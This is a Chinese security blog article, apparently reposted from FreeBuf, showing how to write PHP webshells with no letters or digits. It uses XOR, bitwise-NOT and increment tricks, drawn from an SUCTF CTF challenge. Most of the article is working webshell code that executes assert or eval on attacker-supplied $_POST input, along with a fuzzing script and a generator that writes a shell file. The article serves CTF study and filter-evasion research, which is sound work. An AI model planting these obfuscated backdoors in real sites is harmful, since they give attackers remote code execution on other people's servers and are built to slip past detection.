不包含数字字母的WebShell

x
用微信扫描二维码
分享至好友和朋友圈

  前言

  前一整子SUCTF没时间玩,只能偷偷关注群消息,然后看到 Wfox 师傅FUZZ出来的一个webshell挺好玩的,于是偷偷记下。今天有空,就查阅了一些资料,整理一番。

  一、使用异或 ^ 运算 <?php $_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert'; $__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST'; $___=$$__; $_($___[_]); // assert($_POST[_]);

  这个马是不能直接用的,因为代码中的url编码其实对应的是一个不可打印的特殊字符,这里只是为了显示程序方便,作者用url编码来取代,实际上木马应该是下面这个样子:

  

  

  或者你还可以按照如下两种形式修改木马,使得木马可以运行。

  <?php $_=(chr(0x01)^'`').(chr(0x13)^'`').(chr(0x13)^'`').(chr(0x05)^'`').(chr(0x12)^'`').(chr(0x14)^'`'); $__='_'.(chr(0x0D)^']').(chr(0x2F)^'`').(chr(0x0E)^']').(chr(0x09)^']'); $___=$$__; $_($___[_]);// assert($_POST[_]); ?> <?php $_=(urldecode('%01')^'`').(urldecode('%13')^'`').(urldecode('%13')^'`').(urldecode('%05')^'`').(urldecode('%12')^'`').(urldecode('%14')^'`'); $__='_'.(urldecode('%0D')^']').(urldecode('%2F')^'`').(urldecode('%0E')^']').(urldecode('%09')^']'); $___=$$__; $_($___[_]);// assert($_POST[_]); ?> 二、使用取反 ~ 运算 <?php $__=('>'>'<')+('>'>'<'); $_=$__/$__; $____=''; $___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__}); $_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_}); $_=$$_____; $____($_[_]);// assert($_POST[_]);

  前两天的SUCTF就考察了这个,但是需要对代码稍作修改。原题目可以写入特殊字符只有: ~ $ _ ; = ( ) ,修改如下:(PS:代码由 Wfox 师傅fuzz出来,也是参考P牛的文章 )

  <?php $__=[]; $___=[]; $_=$__==$___; $__=~(瞰); $___=$__[$_]; $__=~(北); $___.=$__[$_].$__[$_]; $__=~(的); $___.=$__[$_]; $__=~(半); $___.=$__[$_]; $__=~(拾); $___.=$__[$_]; $____=~(~(_)); $__=~(说); $____.=$__[$_]; $__=~(小); $____.=$__[$_]; $__=~(次); $____.=$__[$_]; $__=~(站); $____.=$__[$_]; $_=$$____; $___($_[_]);// assert($_POST[_]);

  fuzz脚本如下:

  <?php $charset = '"'; for ($i=0; $i < 65536; $i++) { $charset .= sprintf("\u%04s",dechex($i).''); //生成 \u0000 - \uffff 字符集 } $charset = json_decode($charset.'"'); //json_decode解码格式:json_decode('"xxxxxxxx"') header('Content-Type: text/html; charset=utf-8'); for ($i=0; $i < mb_strlen($charset,'utf-8'); $i++) { $st = mb_substr($charset, $i,1,'utf-8'); $a = ~($st); $b = $a[1]; echo $st.' '.$b.'<br>'; } ?>

  

  

  赛后官方也提供了WP,PHP中使用按位取反(~)函数创建后门 。按照这篇文章,没有成功生成可用的shell,于是我又参考了另外一篇文章 Deformity PHP Webshell、Webshell Hidden Learning ,生成脚本如下:

  # generate.php 运行该程序,生成木马shell.php, assert('eval($_POST[_])'); <?php file_put_contents('yihuo.php', '<?php $_=~'.(~'assert').';$__=~'.(~'eval($_POST[_])').';$_($__);?>') ?>

  

  
三、使用自增运算 ++ <?php @$_=[].''; @$___=$_['']; $_=$___;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__; $__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__; $____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____; @$___($_[_]);// assert($_POST[_]); ?>

  关于这种木马,我之前也分析过,详见:分享几个好玩的过狗一句话

  总结

  既然不能使用某些字符,那么就利用PHP的一些特性来构造、拼接、执行我们想要的内容 ,这时候位运算符就派上了用场。

  相关文章:

一些不包含数字和字母的webshell
创造tips的秘籍——PHP回调后门
PHP中使用按位取反 (~) 函数创建后门
Deformity PHP Webshell、Webshell Hidden Learning

  *本文作者:Mochazz,转载请注明来自 FreeBuf.COM

特别声明:本文为网易自媒体平台“网易号”作者上传并发布,仅代表该作者观点。网易仅提供信息发布平台。

跟贴 跟贴 0 参与 0
© 1997-2019 网易公司版权所有 About NetEase | 公司简介 | 联系方法 | 招聘信息 | 客户服务 | 隐私政策 | 广告服务 | 网站地图 | 意见反馈 | 不良信息举报

FreeBuf

互联网安全新媒体

头像

FreeBuf

互联网安全新媒体

5501

篇文章

14202

人关注

列表加载中...
请登录后再关注
x

用户登录

网易通行证/邮箱用户可以直接登录:
忘记密码